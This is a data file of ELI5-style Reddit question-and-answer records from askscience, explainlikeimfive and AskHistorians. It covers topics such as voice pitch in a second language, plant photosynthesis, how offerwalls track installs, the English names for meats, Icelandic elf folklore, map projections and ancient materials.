{"q_id": "uukxt", "title": "When speaking English, my voice is lower than when speaking in my native tongue, Alemannic German. What causes this?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/uukxt/when_speaking_english_my_voice_is_lower_than_when/", "answers": {"a_id": ["c4yotjn", "c4yp7dp", "c4ypd6q", "c4ypen6", "c4yqhjp", "c4yqk11", "c4yqptf", "c4yquka", "c4yr3vk", "c4ysg2f"], "score": [221, 159, 17, 15, 10, 6, 10, 8, 5, 42], "text": ["[This study](_URL_0_) seems to suggest *contextualization* as the reason for how you change *the manner* of your speech, attendant with having to speak a different language in the first place.\n\n > contextualization cues to refer to linguistic devices that index \u201cwhat the activity is, how semantic content is to be understood and how each sentence relates to what precedes or follows\n\nHere's the relevant portion:\n\n > Gumperz (1997) identifies four different kinds of contextualization cues: **(1) prosody, which\nincludes intonation, stress, accenting and pitch shifts**;\n\nAnd here's where they make a claim about the instances you might do this:\n\n > Consequently, when\ncode-switching is used for contextualization purposes in *bilingual or multilingual situations*, it is\noften accompanied by changes in intonation, pitch,\n\n\nIf I had to guess somewhat unscientifically, I'd presume you tend to speak English mostly around native speakers of English, and that you tend to speak German mostly around native speakers of German. While you can simply rely on natural tendencies in your native tongue, perhaps you're trying to make your English deliberate? \n\n\nUnfortunately, I ended all of my training in linguistics as an undergrad over several terms ago, and it would be imprudent for me to speculate further.\n\n\n**edit**\n\nYo, but seriously, can we get some professionals in here? \n\nI feel really, really uncomfortable not definitively knowing the answer to this, and it seems like one of those low hanging fruit that would've been plucked by now.\n\n\n\n", "Again, everyone, this is not asking for YOUR particular situation. If your voice is lower or higher in pitch when speaking a foreign language is inconsequential to this discussion, they are looking for scientific reasoning. Please no more personal stories. ", "If I recall correctly, we lower our voices subconsciously when we are trying to appear more dominant/competitive.  Perhaps your voice deepens when speaking English because it is not your native tongue - you are not quite in your \"element\", and attempting to compensate (of course, this is all without conscious realization).", "Does this phenomenon also occur when someone's native language is e.g. French and the person is then learning e.g. Japanese? So a not related language with nearly zero overlap instead of e.g. a French native speaking person who is learning Spanish? So does it matter if the languages are related to each other or not?", "r/linguistics would probably be of much use to you in answering this question.", "Related question: Is it possible that the sounds (and related qualities) of a particular language have one or more zones of efficient vocalization that most fluent speakers automatically fall into? That would explain why OP effectively has one voice for German, and a slightly different one for English. It's just his vocal system being more efficient. \n\nI'm imagining something like a 'vocal posture', where a speaker holds his vocal apparatus in a particular way, in preparation for efficiently making specific types of sounds. (Bit like a dancer or a martial artist with their stances.) Anecdotally, I notice that the sounds of the Indian languages I speak feel much looser than English, which feels much more clipped and precise. German gives a similar feeling to English, while Spanish or Italian seem to be relatively loose in comparison. ", "I have a masters in theoretical linguistics and did my dissertation on language acquisition, so I'll offer what I know from that perspective.\n\nEvery language has a difference in *tone* and *pitch*. German speakers speak with a higher pitch than English. Similarly, Italians speak with a higher pitch than Spanish speakers. When we learn a language, we pick up on many different things subconsciously- like tone, accent, and idiomatic usage. I assume you learned English by supplementing grammar with native usage. A real world example of this is listening to Germans who learned English later in life grammatically. They'll speak English at a slightly higher pitch than native English speakers. Also, their tonal pronunciation will be slightly off.\n\nYou just happened to pick up the natural pitch of English. I hope this makes sense.", "I'll answer the best I can as someone who studied Linguistics for years (with a focus on accent/dialect work).\n\nEach language or dialect obviously operates around a specific set of rules. For example, those in the south U.S. can sound lazier and flatter while New England dwellers can sound rushed or sharp. Each language comes with it's own pitch and ability to emphasize.\n\nThe most famous example of pitch change would be analyzing the Americans and the English. Americans get louder when they mean something or get angry, whereas the English use the pitch of the speech to emphasize importance. (In other words, watch them yell on SNL and watch them get high pitched voices on Monty Python).\n\nThese are cultural identifiers dealing with pitch, volume, speed etc. Spanish languages often naturally speak much faster (words per second) than English speakers, who speak faster than most Scandinavian citizens. \n\nTo answer your question: German is a more laborious language to speak, (more muscles used to make the sounds, etc) and this could lead to the dropping of pitch (as well as any cultural influence).", "It's not uncommon to hear of fluently multilingual people reporting different personalities for each language. Here are some related links:\n\n_URL_3_\n\n_URL_0_\n\n_URL_1_\n\n[Journal of Research in Personality (PDF)](_URL_2_)\n\n\n", "Time to shine: \n\nMyographies allow us to see the tension in the muscles involved in the phonation process. \nI have seen cases in which informants speaking in my mother tongue showed in their mother tongue (Spanish) a much higher tension than when they were speaking in English.\nEnglish speakers (Native and non native) show lower levels of myological activity in their vocal tract. \n\nI am a Linguistics student (specialized in Experimental Phonetics) that has worked in a phonetics laboratory for 3 years doing research on Laryngectomized patients Speech."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://journals.tc-library.org/templates/about/editable/pdf/CalYMayorTurnbull_Apple2.pdf"], [], [], [], [], [], [], [], ["http://www.worldandi.com/subscribers/feature_detail.asp?num=26937", "http://www.mendeley.com/research/two-languages-two-personalities-examining-language-effects-expression-personality-bilingual-context/", "http://www.utpsyc.org/Nairan/research/bilingual.pdf", "http://esciencenews.com/articles/2008/06/25/are.you.a.different.person.when.you.speak.a.different.language"], []]}
{"q_id": "evgp00", "title": "Do monocots, dicots, C3, C4 or water plants all have the same ratio of photosynthesis?", "selftext": "Edit: For some reason I can NOT see the comments, but I can receive notifications. If I\u2019m not mistaken, one of the comments below asks to elaborate on ratio. This question was asked after the Leaf-Disk Experiment for my biology class. I\u2019m trying to figure out if all the plants mentioned in the question above have the same respiration ratio when it comes to absorbing CO2 and emitting oxygen.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/evgp00/do_monocots_dicots_c3_c4_or_water_plants_all_have/", "answers": {"a_id": ["fgeb3dm", "ffwfypr"], "score": [2, 6], "text": ["Since this is for a class... Monocots and dicots don't always have the same photosynthetic pathway (C3, C4, or CAM). Although, a lot of grasses (monocots) are C4 plants and cacti and succulents are CAM plants. C4 and CAM are more water and CO2 efficient than C3 because they take *different* measures to reduce photorespiration (fixing oxygen instead of carbon dioxide - look into stuff about RuBisco if you're curious about how it's a crappy enzyme). Basically, from what you're asking, water efficiency is usually related to CAM and C4 plants (regardless of being monocots or dicots). Especially CAM plants because they open their stomata at night when it's cooler out, and stomata is what releases water and allows CO2 to enter the plant. Desert plants obvi don't have a lot of water available to to them to they will take advantage of CAM pathway to prevent more water loss!", "Yes, although it isn't quite that simple. All photosynthesis takes in the same amount of carbon dioxide and releases the same amount of oxygen, though the speed and efficiency are variable. In practice C4/CAM are slightly less efficient since it burns more energy to get the same result, but it's not as inefficient as the photorespiration that happens when C3 plants run out of carbon dioxide and start fixing oxgyen instead."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cfvgpy", "title": "how do apps or websites that have offerwalls know that you installed and ran an app on your device or completed the offer?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cfvgpy/eli5_how_do_apps_or_websites_that_have_offerwalls/", "answers": {"a_id": ["euct4h8", "eucti1p", "eud0ii9"], "score": [13, 6, 2], "text": ["There\u2019s usually account information associated, either with you or the app. \n\nWhen apps run, they can register details on your computer or device, and, of course, \u201ccall home.\u201d\n\nSome token or tag will be shared. It\u2019s really that simple.", "this is a pretty broad question, as there's a number of ways this can be (and is) done. here are a few:\n\n\n- advertisers dropping cookies on your system, and the offerwall checks for them.\n\n\n- using javascript and css to check the link color of a site to see [if you visited it](_URL_0_)\n\n\n- calling a web services on the referred service to see if your ip address and fingerprints have completed an offer. this is most of what i see now, as the offerwalled site is getting something for referring you, so the referred service has to track who referred you.\n   - this is *huge* in the porn website world. there's a lot of people who get rich doing nothing but making clickthrough referral sites.\n\n\n- in the case of something like an instagram or twitter follow or like, the offerwalled site simply checks with instagram or twitter to see if you followed or liked the account or post they wanted you to.", "I'm only addressing how a website could know you installed an app on your computer here.\n\nI'm currently trying to teach myself how to develop an OAuth2 client that would allow a user to login to a website (Salesforce, in my case, but it could work for any number of OAuth2 sites like Facebook or Google).\n\nThe way OAuth2 works is that you direct your user to a login URL at Salesforce. After they log in, Salesforce redirects the browser to whatever url my app wants. The problem is that my app is not a website, it's an exe running on the user's computer. So how would the web browser open a url in my app?\n\nSimple. My app is running a micro-webserver on some random port. So the url my app tells Salesforce to call back when login is successful is something like \"_URL_0_\".\n\nNow, if you know anything about networking, you'll be asking \"Wait, wouldn't that just tell Salesforce to call Salesforce?\" Nope. The url is called from the browser on the local machine and it sends the request to the local machine which is picked up by my app. It's really damn handy, so long as the OAuth2 provider allows it. (Facebook doesn't, Salesforce does.)\n\nSo basically, the website's Javascript sends a request to \"_URL_1_[some port number\\]\" and does different things based on the response (or lack of response). If the app is installed, it can respond to the request. If the app is not installed, there's no response and the website can detect this.\n\nEdit: .Net developers who are more interested in this: Google \"_URL_2_.httplistener\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://lcamtuf.coredump.cx/css_calc/"], ["http://localhost:12345/callback", "http://localhost:\\", "system.net"]]}
{"q_id": "4uxz31", "title": "why do proteins have different names?", "selftext": "Why is chicken always called chicken? and cow is beef, and baby cow is veal, and deer is venison, and pig has many names.\n\nWho coined the term Beef if it's a Cow?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4uxz31/eli5_why_do_proteins_have_different_names/", "answers": {"a_id": ["d5tsfqb", "d5tss6c"], "score": [3, 6], "text": ["The \"food\" term for meat (venison, beef, pork, etc) comes from the upper class of the time (either French or English I really can't remember exactly) who only purchased and ate the meat, while the \"animal\" term (cow, deer, pig) comes from the farmers who raised and sold the meat. ", "This is due to how the English language developed and the Norman conquest of England. \n\nThe Normans, who basically took over the nobility of the Island spoke French. So the terms for the food that they ate were the french words for that food. Over time the words morphed slightly to the modern words poultry, beef, veal, venison, pork, squab, mutton, etc. The reason the nobility terms for food were what took over is that they were the ones who had professional cooks and who had records of what they ate. \n\nThe commoner who spoke the Germanic-Celtic hybrid language that was Old English used their own words for the animals they raised. So we get chicken, cow/bull, calf, deer, pig, pigeon, sheep, etc for the animals. \n\nOver time the two languages merged and you get Middle English, and eventually Modern English but the heritage of having roots in multiple language families still has a strong affect on the vocabulary of the English language. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3vv3ao", "title": "Can you actually change your personality?", "selftext": "Supposedly your personality is made from both genetic and environmental factors. Do these influences contribute continually to shape who you are?\nOr are you destined to respond in accordance to your built personality from a certain age?\nI'm asking this in regards to an adult. Thanks!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3vv3ao/can_you_actually_change_your_personality/", "answers": {"a_id": ["cxrnpw6"], "score": [3], "text": ["Yes. There is quite a lot of research out there showing that personality is a semi-fluid set of constructs that can change over a lifetime; I'll attempt to summarise it later. Openness to Experience for instance, one of the 'Big Five' personality trait constructs, decreases with age.\n\nYet I am guessing you are asking more 'can I change my personality more actively in a shorter period of time. Well, again, yes; for example using Cognitive Behavioural Therapy. On the other hand, have a little fun read of how magic mushroom's active chemical increased 'Openness to Experience' in 60% of participants for over a year [here.](_URL_0_). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sciencedaily.com/releases/2011/09/110929074205.htm"]]}
{"q_id": "6kxt5a", "title": "How can stitches prevent leaks in arteries following surgery, given the pressure in those vessels?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6kxt5a/how_can_stitches_prevent_leaks_in_arteries/", "answers": {"a_id": ["djptesq", "djqkvg1", "djrqye5"], "score": [10, 3, 2], "text": ["Vascular surgery is among the most competitive residencies out there, because of your observation. \n\nTldr relatively small holes in arterioles can be sutured and compressed but it gets exponentially harder as the vessel and trauma size increases. I'd imagine collateral circulation is a big factor. \n\n_URL_0_", "You mean an end to end arterial graft? Many small stiches around the cuffs. One does get a bit of weeping around an anastomosis. Clotting stops it pretty quick. Small 'bleeders' are just tied off or cauterized. During healing, new vessels form.", "Two reasons. One is that when a artery is sutured together with another artery the stitches are evenly dispersed and thus disputes a compressive force which mechanically holds the vessel together with a force greater than the blood pressure in the artery itself. Even with this, the artery may have a small 'leak'. This is generally overcame by clotting factors and platelets that form a matrix which selectively plug the hole. They are so good at this in fact that you must be carefully how you suture the vessels together and what is exposed in the lumen of the artery. For example if adventitia (the outer layer of the artery) of the vessel is in the lumen, you could experience clotting off of that artery due to the extremely thrombogenic nature of that tissue. \n\nIf that doesn't work rarely another stitch can be placed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://lacerationrepair.com/special-situations/vascular-injuries-part-ii-ligation-techniques/"], [], []]}
{"q_id": "3zq8en", "title": "Logistics and the Alaskan Gold Rush", "selftext": "Hello, my wife will be doing an activity with her high school students next week involving Jack London's *The Call of the Wild*. One element of this activity involves packing an imaginary dog sled. She has had a terrible time finding a clear list of the sort of items that a dog sled would typically contain (a long distance, 1 man prospecting sled like the ones mentioned in the novel). She was also wondering what the average weight of such a sled would be and, if possible, what the weight of each item would be. \n\nThanks in advance to anyone who can answer any of these questions!   ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3zq8en/logistics_and_the_alaskan_gold_rush/", "answers": {"a_id": ["cyond2i"], "score": [3], "text": ["There's a pretty interesting packing list at _URL_0_, which shows what the Lewis  &  Clark expedition packed for their trip, which was about 90 years earlier, but into a similarly unknown wilderness.  A gold miner is going to probably skip all of the scientific instruments (and gifts for Native Americans), but the basics of survival (food, weapons, blankets, etc.) are likely to be unchanged.  This was for a group of 10-15 men, so you'd need to adjust accordingly for a single individual."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.monticello.org/site/jefferson/lewiss-packing-list"]]}
{"q_id": "5zdkp0", "title": "why was it acceptable and expected for male game show hosts to kiss female contestants on the mouth in the seventies?", "selftext": "The satellite is out at my house and I am watching family feud from the seventies. To me, the host is creepy.. asking questions like \"have we kissed yet\" to female hosts, while their husbands stand next to them.  Was this common or is this host just creepy?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5zdkp0/eli5_why_was_it_acceptable_and_expected_for_male/", "answers": {"a_id": ["dex8558", "dexi3gv"], "score": [9, 6], "text": ["\"Common\" and \"Creepy\" are not mutually exclusive when looking at media from 50-ish years ago.", "In the 70's that was considered charming and chivalrous. I bet Richard Dawson is who you are watching. I like family feud with him (way better than that other guy who came later in the 80's, so annoying) but I don't like the kissing and general mild sexual harassment of the female contestants. It was considered normal everywhere in real life, not just on game shows. It was a bit more on Family Feid because it was also a bit of Richard Dawson's trademark as well (if you watch Match Game it's still there, but not as much). This is where you can really see what a difference feminism and standing up for women's equality and rights has made. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1sk48v", "title": "how is it that in a modern-day developed country like iceland they believe in elves and \"invisible people\" to the point of them having influence on politics, city infrastructure and their education system? (not asking pejoratively, i am genuinely curious)", "selftext": "[Update (not sure if this is proper Reddit format, still new here)] I realize that this isn't the only instance of superstitious belief, I guess what I'mm asking is, is/are there something unique about Iceland, it's history and/or it's mythology that contributes to what seems to be a uniquely institutionalized amount of belief in something that is not nearly as ubiquitous as angels, ghosts and ufos?\n\nagain, by no means am I asking this pejoratively, I am genuinely curious\nwiki on elf school _URL_2_\narticle on building around inhabited rocks and hills and stuff _URL_1_\narticle on politician who had 30 ton boulder moved to his property because the elves that lived there saved him from getting hurt in a car accident _URL_0_\n\nEdit: the update at the top", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1sk48v/eli5_how_is_it_that_in_a_modernday_developed/", "answers": {"a_id": ["cdycz6a", "cdydftm", "cdyhpgk"], "score": [4, 19, 9], "text": ["It's a very small country that was pretty cut off from the rest of the world for a long time.  There's only 320k people living there *today*.", "More than half of US citizens believe in Angels, UFOs, and ghosts.\n\nSuperstitious belief isn't incompatible with rational thought in human brains.  We are capable of believing in two sets of facts that contradict each other.  This is caused \"cognitive dissonance\".", "I'm from Iceland so I guess this is my turn:\n\nIcelanders don't believe in elves. Sorry to ruin the fantasy but that's the truth. If you find someone in Iceland that honestly believes in elves, that person is either over 70 years old or trying to sell you something. It's kind of like the Loch Ness monster in Scotland, most Scots don't honestly believe it exists but as long as tourists come and take pictures, have a good time and buy souvenirs everybody is happy. That Elf School you talk about is more of a tourist trap if anything, I'm not gonna bash it since it's cool that tourists can learn about Icelandic folklore as it can be very fascinating, but it's not based in actual academia. There have been some cases of roads swaying around rocks where reportedly elves live, but that's more about preserving Icelandic literary tradition than actually worrying about the well-being of said mythical beings. Iceland doesn't really have many historical sites because natural phenomena like earthquakes and volcanoes have consistently destroyed them (plus, not many events of historical importance have happened in Iceland, honestly) and until the 20th century people lived in houses [like this](_URL_2_), not built to last for hundreds of years obviously. So the \"historical\" sites of Iceland are usually rooted in the [sagas](_URL_1_) or folklore. So if a certain cliff is mentioned in a folk story that is supposed be a troll that turned to stone (they turn to stone when exposed to sunlight), people want to preserve that cliff and visit it and go \"hey, there's the troll\" but don't actually believe that it was literally a troll once. Same goes with rocks supposedly inhabited by elves. It's just nice to keep them around if possible.\n\nNow, I'm not saying that NO ONE believes in elves. There are kooky people everywhere in the world that believe in ghosts, myths and new age mumbo jumbo but a belief in elves does not play a role in daily life in Iceland and is really much more noticeable for tourists than the locals. I've always found it interesting how the myth of the elves, has lived on until the present day when there are so many other creatures from Icelandic folklore that don't get talked about much. Like the [skoff\u00edn](_URL_4_), [ur\u00f0ark\u00f6ttur](_URL_3_) or the ever sneaky [marbendill](_URL_0_), you don't want him to get you while rowing your boat. Maybe it's because the elves are beautiful and pure while most of the other mythical beings are creepy as fuck."]}, "title_urls": [], "selftext_urls": ["http://www.paranormalsearchers.com/2012/05/icelandic-politician-moves-30-ton-elves.html", "http://www.nytimes.com/2005/07/13/international/europe/13elves.html", "http://en.wikipedia.org/wiki/Icelandic_Elf_School"], "answers_urls": [[], [], ["http://www.skakkapopp.is/folders/Thrandur/thrandur_laugavegi/marbendill.jpg", "http://en.wikipedia.org/wiki/Icelandic_saga", "http://farm5.static.flickr.com/4055/4413007251_fd6f380e13.jpg", "http://urdarkottur.blog.is/tn/300/users/8e/urdarkottur//img/urdarkottur_585330.jpg", "http://icelanddefrosted.files.wordpress.com/2013/04/20130413-154955.jpg"]]}
{"q_id": "29w8ev", "title": "why does it seem that redheaded women are more desirable than their male counterparts?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/29w8ev/eli5why_does_it_seem_that_redheaded_women_are/", "answers": {"a_id": ["cip2utf", "cip8udq", "cipc9cr"], "score": [8, 2, 2], "text": ["red haired people generally have more what society considers as feminine traits than other hair colors.\n\nIt is associated with fairer skin, freckles, and the lightly colored hair itself.\n\nIt is kind of how a blonde female are more desirable than a blonde male. Only a bit more extreme.", "Purely anecdotal and speculative answer just as a warning:\n\nI'm a female ginger and my brother is ginger. We both get hit on for our hair. Gingers are becoming a thing.\n\nI think women in general just get hit on more because they're women.\n\nAlthough society is changing, typically the male pursues the female.\n\nSide note: I don't find most male gingers very attractive...mostly because they're usually shorter and orange and pale. If they're a darker tall ginger (auburn hair and blue eyes) that's a different story :)", "my take on it is this (for redheaded women):\n\nyou never see a \"meh\" looking natural redhead aka a five or a six on that ubiquitous ten scale. they are either smoking hot or they fell from heaven and landed on their face."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1sve4f", "title": "i haven't clicked an ad from google/facebook/reddit/etc. in years, and i don't think i've ever bought something off an ad. how do these companies make a profit by selling ads, and why do businesses buy them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1sve4f/eli5_i_havent_clicked_an_ad_from/", "answers": {"a_id": ["ce1lu9z", "ce1nmku", "ce1q12b"], "score": [26, 8, 3], "text": ["Because someone, somewhere out there\nIs dropping hundreds of dollars on some online Medieval strategy game because of a girl cleavage.... ", " > and why do businesses buy them?\n\nAdvertising isn't just about getting you to buy stuff then and there.  If you see enough ads for VISA when you go to get a credit card you think 'hmm VISA seems pretty big, maybe I should get  VISA'.  Or you want a soft drink and think 'hmmm coke seems pretty popular'. \n\nWith google you pay to be top of the list in search rankings (this is an auction process, so highest bidder for a given search term gets the top spot).  On facebook you pay to show up in the feed or on the strip on the right.  \n\nSome of the companies who you see advertising have basically no business, and no money, but for a few thousand dollars in advertising they can get a few tens of thousands in business.  The perks of large data sets.  If only one in a million people buy something but you are advertising to 900 million people well, you have 900 customers.  The price is then a matter of cheap enough to justify whatever the number actually is.  ", "I believe that when a website is big enough, companies start paying just to have their ads featured.\nI once was doing some reading on the history of Facebook, and I remember the book emphasized that Facebook's first ad, Mastercard, would only pay every time somebody clicked on the ad.\nBecause of the wording, I think that typically when a site reaches a certain point of popularity, companies pay just to have their ads shown."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "vj0fp", "title": "So I learned about the Peters Projection (A map projection that shows land masses in a more accurate context) and it made me wonder: What is the most accurate map, map projection, or globe?  And why is that one not used in schools?", "selftext": "[The Galls-Peters projection](_URL_1_).  [Another map projection I learned a bit about, the Dymaxion Map](_URL_0_).  Any insight?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vj0fp/so_i_learned_about_the_peters_projection_a_map/", "answers": {"a_id": ["c54wpwy", "c54xpai", "c5506zu"], "score": [31, 3, 2], "text": ["[This xkcd sums it up](_URL_2_)\n\nThe thing is, it is impossible to project a round surface onto a flat one without some distortion. This was proved by Gauss in his [remarkable theorem](_URL_0_) around 1800 (and is also relevant for eating pizza).\n\nSo, different maps have different benefits. Yes, Mercator makes Greenland look huge but it's useful for navigation because everything is straight lines. Peters is equal area, but everything is distorted. [This one](_URL_1_ ) looks really weird but makes it easy to find which direction Mecca is.", "What do you mean by \"accurate\"? By what scale do you gauge such accuracy?\n\nMy father owns a mapping company that takes precision survey measurements (taken on the real 3D surface of the Earth, curve and all) and projects them on to flat projections. The vast majority of their computing and difficulty is ensuring that the projects are both accurate depictions of the survey results, AND that disparate measurements fit together. If I measure points ABCDEF and someone else measures points GHCDIJ and someone else measures KLMDEN, then the CD from 1 and 2 have to match, the D from 2 and 3 have to match and the DE from 1 and 3 have to match. But all that they have are the relative distances between them, so it can be a challenge to fit them correctly.\n\n(This kind of technique is important for things like land titles, where there can be disputes over property lines and such.)", "Who actually used the Mercator projection in schools? Nearly every map I've ever seen in real life has been the Robinson projection or possibly Winkel-Tripel. (They look somewhat similar.) To me the Mercator projection looks obviously wrong. (But so  does the Peters projection with ridiculously shaped continents that are stretched out in the north to south direction incorrectly.)"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Dymaxion_map", "http://en.wikipedia.org/wiki/Gall%E2%80%93Peters_projection"], "answers_urls": [["http://en.wikipedia.org/wiki/Theorema_Egregium", "http://en.wikipedia.org/wiki/Craig_retroazimuthal_projection", "http://xkcd.com/977/"], [], []]}
{"q_id": "c5paag", "title": "in today\u2019s high tech world, how come we are not able to reproduce ancient crafting methods like roman concrete, damascus steel, or greek fire?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c5paag/eli5_in_todays_high_tech_world_how_come_we_are/", "answers": {"a_id": ["es346ne", "es34ocy", "es34v7l", "es355l6", "es35tjp"], "score": [2, 25, 2, 38, 2], "text": ["We can already recreate Roman concrete and Greek fire was most likely a myth. Damascus steel? What\u2019s the point when modern steel is stronger anyway.", "We can, and mostly have surpassed it.\n\n- Roman concrete is basically the same as modern cement.\n- Damascus Steel was basically just steels of different hardness folded  &  forged together. It's still done today, but mostly for aesthetic purposes.\n- For Greek Fire no composition was passed down, but we can get the same effects using Napalm.", "Because we don't try to, because we can do better stuff today. We do not need their exact recipes/methods, because we do it better.\n\nOur concretes is plenty good enough, our munitions are way more powerful than Greek fire and Damascus steel was simply a way to compensate for crappy raw material and uneven heating.", "It's not that we can't reproduce them technologically, it's that the exact method or recipe was lost to history, so we can't make the exact same thing.\n\n & #x200B;\n\nTake the roman concrete. If you look at a map of Volcanoes in Europe you will see that there is barely any. There is some on Greek Island, but the only concentrations on mainland are in Italy or in Turkey. That's the key to the Roman concrete, because it's a natural concrete using volcanic ash. Something that you can't really do in most of the rest of the world, because of the lack of volcanoes. Concrete today is artificial, meaning we use rocks and minerals that we find pretty much everywhere and use an process of heating to transform it into Portland concrete. It's not as good as Roman concrete, but you can do it anywhere in any quantity, while roman concrete can only be made from Volcanic Ash that is limited geographically and in quantity. The exact recipe of the Roman concrete isn't known, but we figure out the Ash thing and today we use those and other additive that we discovered since then to make really good concrete. Today we can make better concrete than the Roman, but we can also make lesser concrete that is cheaper and allow you to make more building. We make the concrete we need, while Roman only had the choice of volcanic ash concrete.\n\n & #x200B;\n\nFor Greek fire, we have only some description of it, but we don't know what it was exactly. There is some theories about what was the composition, but what is for sure, our current Napalm is way more effective than Greek Fire was. We also most like know how to make Greek Fire, we simply don't know if it is Greek fire or not. For example, some think that Greek Fire was saltpetre, which would make Greet Fire some early gunpowder weapon. We know how to make that and we make it better, but we don't know if Greek Fire really was saltpetre or something else.\n\n & #x200B;\n\nWe have a similar situation for Damascus Steel. We can do better steel today, but Damascus Steel was some damn good steel for their time. It took centuries until modern metallurgy was able to create steel as good and eventually better. The exact method is lost to history, but several reverse engineering were done over the year and those gave pretty good damn steel too. We just don't know if any of them are really the same as the one use for Damascus Steel. In addition, most our steel today is for construction and so we make the cheapest steel possible for what we need, so yes Damascus steel is stronger than our average construction steel today, but that's not the only type of steel we can make.\n\n & #x200B;\n\nThere is a lot of romanticisation of those old material from the past. Truth is most of their fame come from the fact that we lost their method to history and if we really know what the recipe was, we barely would use it outside of some novelty items and certainly not on a large scale.", "Because recipes have to be almost exactly followed to the letter to the slightest detail for them to produce equal results every time.\nFor example, cooking. There are differences in the ways that everyone cooks eggs or steaks and they are noticeable, even if they were following the same recipe all the time. Sure, there are better or worse recipes or methods but it would not be \"that\" recipe. \n\nThe case of the previous materials is that the were made with specific tools, methods \"handmade\"and materials specific to that era and because the materials were or methods were not specified, we cant replicate it with exactitude nowadays, not even with machines. \n\nAlthough we cant replicate it, we can make do similar products or even better stuff. For example,  nowadays instead of greek fire, we have thermite,  and molotov cocktails, (gasoline and oil), and napalm, all used in war.\n\nI conclude my post saying that because of dire needs,  we did not had time to replicate and search for lost recipes and had to make do with what we had in hand. For better or worse"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "7vsr3x", "title": "What happens to the mass of an irradiated brain tumor?", "selftext": "I understand that radiation stops mitosis, so the tumor no longer grows. What happens to the tumor\u2019s tissue after radiation treatment? Is it considered \u201cdead\u201d? Does it shrink? Can it be re-absorbed?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7vsr3x/what_happens_to_the_mass_of_an_irradiated_brain/", "answers": {"a_id": ["dtx74uu"], "score": [6], "text": ["I'll keep the over detailing to a minimum.\n\nRadiation destroys the DNA in these cancer cells, this does 1 of 2 things.\n\nIf a cell has destroyed DNA it may be unable to continue living and will die, being cleaned up (eaten) by the immune system. \n\nAlternatively it may live, though with significantly damaged DNA it will not reproduce, eventually dieing as well and being cleaned up.\n\nAfter radiation the tumor tissue affected will eventually  completely disappear, replaced by scar tissue, fluid or other space filling tissue. If your lucky, and I mean lucky, brain tissue.\n\nDoes that answer well enough? I can go into more detail?\n\nPs: English not first language, plz forgive "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7uk5op", "title": "Do people who take public transit to work have higher rates of infectious diseases (ex. flu, cold) than people who don't?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7uk5op/do_people_who_take_public_transit_to_work_have/", "answers": {"a_id": ["dtluuds"], "score": [8], "text": ["It's a question with an answer that seems obvious, but it is always worth doing research on these topics to confirm that these risk factors exist. That way, they can reliably be factored into future analyses of the spread of infectious disease and related epidemiological studies.\n\nThat said, there is [an approximate 6-fold increase in the risk of consulting for an acute respiratory infection](_URL_0_) if you are an occasional user of public transport services. In Peru, [bus or minibus usage was associated with the acquisition of tuberculosis](_URL_1_), providing further evidence that public transport can represent a threat to public health safety. The authors also note in both of these studies that public transport should be taken into consideration in the future modeling of the spread of infectious disease."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://bmcinfectdis.biomedcentral.com/articles/10.1186/1471-2334-11-16#Sec10", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4338233/"]]}
{"q_id": "67oven", "title": "why when we are talking about someone being gullible another someone always tries to sell bridges? there must be a story there.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/67oven/eli5_why_when_we_are_talking_about_someone_being/", "answers": {"a_id": ["dgs194z"], "score": [8], "text": ["It's a phrase that's associated with a late 19th-early 20th century con-man named George C Parker.  He would prey on new immigrants to New York (which there were a *lot* of back at that time) and try to sell them pieces of public property like the Statue of Liberty and the Metropolitan Museum of Art, despite the fact that he didn't own any of these landmarks.  He'd convince the marks to pay him a bunch of money (usually most of their life's savings), and then disappear, and when the \"buyer\" tried to capitalize on their purchase, by setting up a toll booth or admission fee, they were removed by police and shit out of luck.\n\nThe phrase \"I've got a bridge to sell you\" comes from Parker, because the Brooklyn bridge was a common thing he tried to sell.  So someone who would be interested in buying the Brooklyn Bridge (a public road), is someone who is very gullible. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
